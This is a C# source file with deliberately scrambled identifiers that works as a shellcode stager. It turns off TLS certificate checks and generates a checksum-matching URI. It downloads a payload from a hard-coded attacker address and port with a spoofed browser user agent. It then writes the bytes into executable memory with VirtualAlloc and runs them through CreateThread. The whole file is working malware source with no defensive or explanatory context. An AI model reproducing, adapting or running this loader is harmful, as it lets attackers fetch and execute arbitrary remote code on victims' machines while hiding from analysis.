using System;
using System.Net;
using System.Net.Sockets;
using System.Linq;
using System.Runtime.InteropServices;
namespace wXSBJXmtuxHILHx
{
    class OtUASUwF
    {
        private static bool OznUOfWuRrZF(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert, System.Security.Cryptography.X509Certificates.X509Chain chain, System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }
        static string PGVZiNc(Random r, int s)
        {
            char[] FuRbyriupx = new char[s];
            string XzlXXDTfFr = "ULaig4tJh0PzwA8uKv6lop9YSGkIxfm7jTRFWMyn31DOrZCBQNscXqdbe5V2HE";
            for (int i = 0; i < s; i++) { FuRbyriupx[i] = XzlXXDTfFr[r.Next(XzlXXDTfFr.Length)]; }
            return new string(FuRbyriupx);
        }
        static bool LazkkRjhxJ(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) % 0x100 == 92);}
        static string gKadlXWgfaL(Random r) { string kQajilXTtLbXqXR = "";
        for (int i = 0; i < 64; ++i) { kQajilXTtLbXqXR = PGVZiNc(r, 3);
        string HLGXsFqGbKxu = new string("OV53lXiQw8ru9CheW04o2F6ZIcyfsYtgGTPpzLKqbvSmHUnBkMD1jAEdJ7NaxR".ToCharArray().OrderBy(s => (r.Next(2) % 2) == 0).ToArray());
        for (int j = 0; j < HLGXsFqGbKxu.Length; ++j) {
        string TtXvTCXgDa = kQajilXTtLbXqXR + HLGXsFqGbKxu[j];
        if (LazkkRjhxJ(TtXvTCXgDa)) {return TtXvTCXgDa;}}} return "9vXU";}
        static byte[] ZXZEBuOcA(string XIePaBOEgR)
        {
            ServicePointManager.ServerCertificateValidationCallback = OznUOfWuRrZF;
            WebClient qQyjhCOLyAcLB = new System.Net.WebClient();
            qQyjhCOLyAcLB.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");
            qQyjhCOLyAcLB.Headers.Add("Accept", "*/*");
            qQyjhCOLyAcLB.Headers.Add("Accept-Language", "en-gb,en;q=0.5");
            qQyjhCOLyAcLB.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
            byte[] ygfHmoiS = null;
            try
            {
                ygfHmoiS = qQyjhCOLyAcLB.DownloadData(XIePaBOEgR);
                if (ygfHmoiS.Length < 100000) return null;
            }
            catch (WebException) { }
            return ygfHmoiS;
        }
        static void ghsczNMUF(byte[] sWANmUtKzAMBY)
        {
            if (sWANmUtKzAMBY != null)
            {
                UInt32 EHqmim = VirtualAlloc(0, (UInt32)sWANmUtKzAMBY.Length, 0x1000, 0x40);
                Marshal.Copy(sWANmUtKzAMBY, 0, (IntPtr)(EHqmim), sWANmUtKzAMBY.Length);
                IntPtr cYjziUxrC = IntPtr.Zero;
                UInt32 jyFzlcQhm = 0;
                IntPtr ZtPFCQbqIOcGfG = IntPtr.Zero;
                cYjziUxrC = CreateThread(0, 0, EHqmim, ZtPFCQbqIOcGfG, 0, ref jyFzlcQhm);
                WaitForSingleObject(cYjziUxrC, 0xFFFFFFFF);
            }
        }
        static void Main()
        {
            Random pCSwGWRsC = new Random((int)DateTime.Now.Ticks);
            byte[] kpNbYftuoIzN = ZXZEBuOcA("https://192.168.159.131:8080/" + gKadlXWgfaL(pCSwGWRsC)); //ip:port
            ghsczNMUF(kpNbYftuoIzN);
        }
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 kPeYpPT, UInt32 WwUwAiE, UInt32 jbTWxt, UInt32 dJgAKfvQwxv);
        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 rLdnUEZT, UInt32 ULPeKzAUMXiM, UInt32 iQRqSphFuwZZNdY, IntPtr CzqLuNp, UInt32 vTolpftOJaVEq, ref UInt32 toQCuowusuvxpiU);
        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr MplRKQpyqt, UInt32 YKwsWixGzZKhD);
    }
}
